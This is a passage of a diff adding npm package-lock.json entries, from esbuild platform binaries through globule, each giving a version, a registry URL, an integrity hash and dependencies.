"https://registry.npmjs.org/esbuild-linux-arm64/-/esbuild-linux-arm64-0.14.54.tgz", + "integrity": "sha512-WL71L+0Rwv+Gv/HTmxTEmpv0UgmxYa5ftZILVi2QmZBgX3q7+tDeOQNqGtdXSdsL8TQi1vIaVFHUPDe0O0kdig==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-mips64le": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-linux-mips64le/-/esbuild-linux-mips64le-0.14.54.tgz", + "integrity": "sha512-qTHGQB8D1etd0u1+sB6p0ikLKRVuCWhYQhAHRPkO+OF3I/iSlTKNNS0Lh2Oc0g0UFGguaFZZiPJdJey3AGpAlw==", + "cpu": [ + "mips64el" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-ppc64le": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-linux-ppc64le/-/esbuild-linux-ppc64le-0.14.54.tgz", + "integrity": "sha512-j3OMlzHiqwZBDPRCDFKcx595XVfOfOnv68Ax3U4UKZ3MTYQB5Yz3X1mn5GnodEVYzhtZgxEBidLWeIs8FDSfrQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-riscv64": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-linux-riscv64/-/esbuild-linux-riscv64-0.14.54.tgz", + "integrity": "sha512-y7Vt7Wl9dkOGZjxQZnDAqqn+XOqFD7IMWiewY5SPlNlzMX39ocPQlOaoxvT4FllA5viyV26/QzHtvTjVNOxHZg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-s390x": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-linux-s390x/-/esbuild-linux-s390x-0.14.54.tgz", + "integrity": "sha512-zaHpW9dziAsi7lRcyV4r8dhfG1qBidQWUXweUjnw+lliChJqQr+6XD71K41oEIC3Mx1KStovEmlzm+MkGZHnHA==", + "cpu": [ + "s390x" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-netbsd-64": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-netbsd-64/-/esbuild-netbsd-64-0.14.54.tgz", + "integrity": "sha512-PR01lmIMnfJTgeU9VJTDY9ZerDWVFIUzAtJuDHwwceppW7cQWjBBqP48NdeRtoP04/AtO9a7w3viI+PIDr6d+w==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-openbsd-64": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-openbsd-64/-/esbuild-openbsd-64-0.14.54.tgz", + "integrity": "sha512-Qyk7ikT2o7Wu76UsvvDS5q0amJvmRzDyVlL0qf5VLsLchjCa1+IAvd8kTBgUxD7VBUUVgItLkk609ZHUc1oCaw==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-sunos-64": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-sunos-64/-/esbuild-sunos-64-0.14.54.tgz", + "integrity": "sha512-28GZ24KmMSeKi5ueWzMcco6EBHStL3B6ubM7M51RmPwXQGLe0teBGJocmWhgwccA1GeFXqxzILIxXpHbl9Q/Kw==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-windows-32": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-windows-32/-/esbuild-windows-32-0.14.54.tgz", + "integrity": "sha512-T+rdZW19ql9MjS7pixmZYVObd9G7kcaZo+sETqNH4RCkuuYSuv9AGHUVnPoP9hhuE1WM1ZimHz1CIBHBboLU7w==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-windows-64": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-windows-64/-/esbuild-windows-64-0.14.54.tgz", + "integrity": "sha512-AoHTRBUuYwXtZhjXZbA1pGfTo8cJo3vZIcWGLiUcTNgHpJJMC1rVA44ZereBHMJtotyN71S8Qw0npiCIkW96cQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-windows-arm64": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-windows-arm64/-/esbuild-windows-arm64-0.14.54.tgz", + "integrity": "sha512-M0kuUvXhot1zOISQGXwWn6YtS+Y/1RT9WrVIOywZnJHo3jCDyewAc79aKNQWFCQm+xNHVTq9h8dZKvygoXQQRg==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz", + "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/escodegen": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz", + "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==", + "dev": true, + "dependencies": { + "esprima": "^4.0.1", + "estraverse": "^5.2.0", + "esutils": "^2.0.2" + }, + "bin": { + "escodegen": "bin/escodegen.js", + "esgenerate": "bin/esgenerate.js" + }, + "engines": { + "node": ">=6.0" + }, + "optionalDependencies": { + "source-map": "~0.6.1" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/espree": { + "version": "9.6.1", + "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz", + "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==", + "dev": true, + "dependencies": { + "acorn": "^8.9.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.4.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", + "dev": true + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/execa": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-8.0.1.tgz", + "integrity": "sha512-VyhnebXciFV2DESc+p6B+y0LjSm0krU4OgJN44qFAhBY0TJ+1V61tYD2+wHusZ6F9n5K+vl8k0sTy7PEfV4qpg==", + "dev": true, + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^8.0.1", + "human-signals": "^5.0.0", + "is-stream": "^3.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^5.1.0", + "onetime": "^6.0.0", + "signal-exit": "^4.1.0", + "strip-final-newline": "^3.0.0" + }, + "engines": { + "node": ">=16.17" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/expect": { + "version": "29.6.4", + "resolved": "https://registry.npmjs.org/expect/-/expect-29.6.4.tgz", + "integrity": "sha512-F2W2UyQ8XYyftHT57dtfg8Ue3X5qLgm2sSug0ivvLRH/VKNRL/pDxg/TH7zVzbQB0tu80clNFy6LU7OS/VSEKA==", + "dev": true, + "dependencies": { + "@jest/expect-utils": "^29.6.4", + "jest-get-type": "^29.6.3", + "jest-matcher-utils": "^29.6.4", + "jest-message-util": "^29.6.3", + "jest-util": "^29.6.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/expect-webdriverio": { + "version": "4.2.7", + "resolved": "https://registry.npmjs.org/expect-webdriverio/-/expect-webdriverio-4.2.7.tgz", + "integrity": "sha512-ulNspQoTct5/0OBfNSNzBKldSgoQxzmHBi/TLtrsLZY5QCZ7svD7Csdtm+YEW6IBg/v8MI7ibiMcpWY9cjcG6A==", + "dev": true, + "dependencies": { + "expect": "^29.6.1", + "jest-matcher-utils": "^29.6.1" + }, + "engines": { + "node": ">=16 || >=18 || >=20" + }, + "optionalDependencies": { + "@wdio/globals": "^8.13.1", + "webdriverio": "^8.13.1" + } + }, + "node_modules/external-editor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz", + "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==", + "dev": true, + "dependencies": { + "chardet": "^0.7.0", + "iconv-lite": "^0.4.24", + "tmp": "^0.0.33" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/extract-zip": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.1.tgz", + "integrity": "sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==", + "dev": true, + "dependencies": { + "debug": "^4.1.1", + "get-stream": "^5.1.0", + "yauzl": "^2.10.0" + }, + "bin": { + "extract-zip": "cli.js" + }, + "engines": { + "node": ">= 10.17.0" + }, + "optionalDependencies": { + "@types/yauzl": "^2.9.1" + } + }, + "node_modules/extract-zip/node_modules/get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "dev": true, + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha512-bCK/2Z4zLidyB4ReuIsvALH6w31YfAQDmXMqMx6FyfHqvBxtjC0eRumeSu4Bs3XtXwpyIywtSTrVT99BxY1f9w==", + "dev": true + }, + "node_modules/fast-fifo": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/fast-fifo/-/fast-fifo-1.3.2.tgz", + "integrity": "sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==", + "dev": true + }, + "node_modules/fast-safe-stringify": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz", + "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==", + "dev": true + }, + "node_modules/fd-slicer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", + "integrity": "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==", + "dev": true, + "dependencies": { + "pend": "~1.2.0" + } + }, + "node_modules/fetch-blob": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz", + "integrity": "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/jimmywarting" + }, + { + "type": "paypal", + "url": "https://paypal.me/jimmywarting" + } + ], + "dependencies": { + "node-domexception": "^1.0.0", + "web-streams-polyfill": "^3.0.3" + }, + "engines": { + "node": "^12.20 || >= 14.13" + } + }, + "node_modules/figures": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/figures/-/figures-5.0.0.tgz", + "integrity": "sha512-ej8ksPF4x6e5wvK9yevct0UCXh8TTFlWGVLlgjZuoBH1HwjIfKE/IdL5mq89sFA7zELi1VhKpmtDnrs7zWyeyg==", + "dev": true, + "dependencies": { + "escape-string-regexp": "^5.0.0", + "is-unicode-supported": "^1.2.0" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/filelist": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz", + "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==", + "dev": true, + "dependencies": { + "minimatch": "^5.0.1" + } + }, + "node_modules/filelist/node_modules/minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "dev": true, + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-up": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-6.3.0.tgz", + "integrity": "sha512-v2ZsoEuVHYy8ZIlYqwPe/39Cy+cFDzp4dXPaxNvkEuouymu+2Jbz0PxpKarJHYJTmv2HWT3O382qY8l4jMWthw==", + "dev": true, + "dependencies": { + "locate-path": "^7.1.0", + "path-exists": "^5.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/flat": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz", + "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==", + "dev": true, + "bin": { + "flat": "cli.js" + } + }, + "node_modules/for-each": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.3.tgz", + "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==", + "dev": true, + "dependencies": { + "is-callable": "^1.1.3" + } + }, + "node_modules/foreground-child": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.1.1.tgz", + "integrity": "sha512-TMKDUnIte6bfb5nWv7V/caI169OHgvwjb7V4WkeUvbQQdjr5rWKqHFiKWb/fcOwB+CzBT+qbWjvj+DVwRskpIg==", + "dev": true, + "dependencies": { + "cross-spawn": "^7.0.0", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/form-data-encoder": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/form-data-encoder/-/form-data-encoder-2.1.4.tgz", + "integrity": "sha512-yDYSgNMraqvnxiEXO4hi88+YZxaHC6QKzb5N84iRCTDeRO7ZALpir/lVmf/uXUhnwUr2O4HU8s/n6x+yNjQkHw==", + "dev": true, + "engines": { + "node": ">= 14.17" + } + }, + "node_modules/formdata-polyfill": { + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz", + "integrity": "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==", + "dev": true, + "dependencies": { + "fetch-blob": "^3.1.2" + }, + "engines": { + "node": ">=12.20.0" + } + }, + "node_modules/fs-extra": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", + "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + }, + "engines": { + "node": ">=6 <7 || >=8" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/fstream": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.12.tgz", + "integrity": "sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "inherits": "~2.0.0", + "mkdirp": ">=0.5 0", + "rimraf": "2" + }, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", + "dev": true + }, + "node_modules/gaze": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz", + "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==", + "dev": true, + "dependencies": { + "globule": "^1.0.0" + }, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/geckodriver": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/geckodriver/-/geckodriver-4.2.0.tgz", + "integrity": "sha512-I2BlybeMFMzpxHRrh8X4VwP4ys74JHszyUgfezOrbTR7PEybFneDcuEjKIQxKV6vFPmsdwhwF1x8AshdQo56xA==", + "dev": true, + "hasInstallScript": true, + "dependencies": { + "@wdio/logger": "^8.11.0", + "decamelize": "^6.0.0", + "http-proxy-agent": "^7.0.0", + "https-proxy-agent": "^7.0.1", + "node-fetch": "^3.3.1", + "tar-fs": "^3.0.4", + "unzipper": "^0.10.14", + "which": "^3.0.1" + }, + "bin": { + "geckodriver": "bin/geckodriver.js" + }, + "engines": { + "node": "^16.13 || >=18 || >=20" + } + }, + "node_modules/geckodriver/node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true + }, + "node_modules/geckodriver/node_modules/which": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/which/-/which-3.0.1.tgz", + "integrity": "sha512-XA1b62dzQzLfaEOSQFTCOd5KFf/1VSzZo7/7TUjnya6u0vGGKzU96UQBZTAThCb2j4/xjBAyii1OhRLJEivHvg==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/which.js" + }, + "engines": { + "node": "^14.17.0 || ^16.13.0 || >=18.0.0" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.1.tgz", + "integrity": "sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-package-type": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz", + "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==", + "dev": true, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/get-port": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/get-port/-/get-port-7.0.0.tgz", + "integrity": "sha512-mDHFgApoQd+azgMdwylJrv2DX47ywGq1i5VFJE7fZ0dttNq3iQMfsU4IvEgBHojA3KqEudyu7Vq+oN8kNaNkWw==", + "dev": true, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-stream": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-8.0.1.tgz", + "integrity": "sha512-VaUJspBffn/LMCJVoMvSAdmscJyS1auj5Zulnn5UoYcY531UWmdwhRWkcGKnGU93m5HSXP9LP2usOryrBtQowA==", + "dev": true, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-uri": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-uri/-/get-uri-6.0.1.tgz", + "integrity": "sha512-7ZqONUVqaabogsYNWlYj0t3YZaL6dhuEueZXGF+/YVmf6dHmaFg8/6psJKqhx9QykIDKzpGcy2cn4oV4YC7V/Q==", + "dev": true, + "dependencies": { + "basic-ftp": "^5.0.2", + "data-uri-to-buffer": "^5.0.1", + "debug": "^4.3.4", + "fs-extra": "^8.1.0" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/get-uri/node_modules/data-uri-to-buffer": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-5.0.1.tgz", + "integrity": "sha512-a9l6T1qqDogvvnw0nKlfZzqsyikEBZBClF39V3TFoKhDtGBqHu2HkuomJc02j5zft8zrUaXEuoicLeW54RkzPg==", + "dev": true, + "engines": { + "node": ">= 14" + } + }, + "node_modules/glob": { + "version": "10.3.4", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.3.4.tgz", + "integrity": "sha512-6LFElP3A+i/Q8XQKEvZjkEWEOTgAIALR9AO2rwT8bgPhDd1anmqDJDZ6lLddI4ehxxxR1S5RIqKe1uapMQfYaQ==", + "dev": true, + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^2.0.3", + "minimatch": "^9.0.1", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0", + "path-scurry": "^1.10.1" + }, + "bin": { + "glob": "dist/cjs/src/bin.js" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/globule": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/globule/-/globule-1.3.4.tgz", + "integrity": "sha512-OPTIfhMBh7JbBYDpa5b+Q5ptmMWKwcNcFSR/0c6t8V4f3ZAVBEsKNY37QdVqmLRYSMhOUGYrY0QhSoEpzGr/Eg==", + "dev": true, + "dependencies": { + "glob": "~7.1.1", + "lodash": "^4.17.21", + "minimatch": "~3.0.2" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/globule/node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/globule/node_modules/glob": { + "version": "7.1.7", + "resolved": 